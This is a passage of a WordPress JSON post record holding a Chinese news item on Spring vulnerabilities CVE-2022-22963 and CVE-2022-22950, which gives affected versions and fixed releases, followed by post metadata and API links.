2022 \u5e74 3 \u6708 29 \u65e5 Spring \u9879\u76ee\u5219\u66dd\u51fa\u53e6\u4e00\u4e2a\u4e0d\u76f8\u5173\u6f0f\u6d1e\uff0c\u8be5\u96f6\u65e5\u6f0f\u6d1e\u540c\u6837\u5f15\u53d1\u5de8\u5927\u6df7\u4e71\u3002\u6b64\u6f0f\u6d1e\u88ab\u767b\u8bb0\u4e3a CVE-2022-22963\uff0c\u5f71\u54cd\u5230\u7684\u662f Spring Cloud Function\uff0c\u4e0e Spring Framework \u6ca1\u6709\u5173\u8054\u3002\u9488\u5bf9 CVE-2022-22963 \u6dae\uff0cSpring \u5df2\u7ecf\u5728 3 \u6708 29 \u65e5\u53d1\u5e03\u4e86 3.1.7 \u4e0e 3.2.3 \u4e24\u4e2a\u4fee\u590d\u7248\u672c\u3002<\/p>\n
\u6b64\u5916\uff0c3 \u6708 28 \u65e5\u8fd8\u6709\u53e6\u4e00\u4e2a\u6f0f\u6d1e CVE-2022-22950 \u88ab\u767b\u8bb0\u5728\u6848\uff0c\u4fee\u590d\u7a0b\u5e8f\u4e5f\u662f\u5f53\u5929\u53d1\u5e03\u3002\u8fd9\u4e2a\u4e25\u91cd\u6027\u4e3a\u4e2d\u7b49\u7684\u6f0f\u6d1e\uff08\u53ef\u80fd\u8bf1\u53d1 DoS \u653b\u51fb\uff09\u4e3b\u8981\u5f71\u54cd Spring Framework \u7684 5.3.0 \u5230 5.3.16 \u5404\u7248\u672c\u3002<\/p>\n
<\/div>\n
<\/g><\/svg><\/i> \"Loading\"<\/p>\n
<\/div>\n","protected":false},"excerpt":{"rendered":"
\u4f5c\u8005 | spring \u8bd1\u8005 | \u6838\u5b50\u53ef\u4e50\uff0c\u5218\u71d5 \u7b56\u5212 | \u94b0\u83b9 \u5148\u662f\u6838\u5f39\u7ea7\u6f0f\u6d1e Log4Shell\uff0c\u8fd9\u6b21\u53c8\u662f […]<\/p>\n
<\/div>\n
<\/g><\/svg><\/i> \"Loading\"<\/p>\n
<\/div>\n","protected":false},"author":1,"featured_media":2347,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-2346","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ai"],"_links":{"self":[{"href":"https:\/\/aif.amtbbs.org\/index.php\/wp-json\/wp\/v2\/posts\/2346","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/aif.amtbbs.org\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/aif.amtbbs.org\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/aif.amtbbs.org\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/aif.amtbbs.org\/index.php\/wp-json\/wp\/v2\/comments?post=2346"}],"version-history":[{"count":1,"href":"https:\/\/aif.amtbbs.org\/index.php\/wp-json\/wp\/v2\/posts\/2346\/revisions"}],"predecessor-version":[{"id":2349,"href":"https:\/\/aif.amtbbs.org\/index.php\/wp-json\/wp\/v2\/posts\/2346\/revisions\/2349"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/aif.amtbbs.org\/index.php\/wp-json\/wp\/v2\/media\/2347"}],"wp:attachment":[{"href":"https:\/\/aif.amtbbs.org\/index.php\/wp-json\/wp\/v2\/media?parent=2346"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/aif.amtbbs.org\/index.php\/wp-json\/wp\/v2\/categories?post=2346"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/aif.amtbbs.org\/index.php\/wp-json\/wp\/v2\/tags?post=2346"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}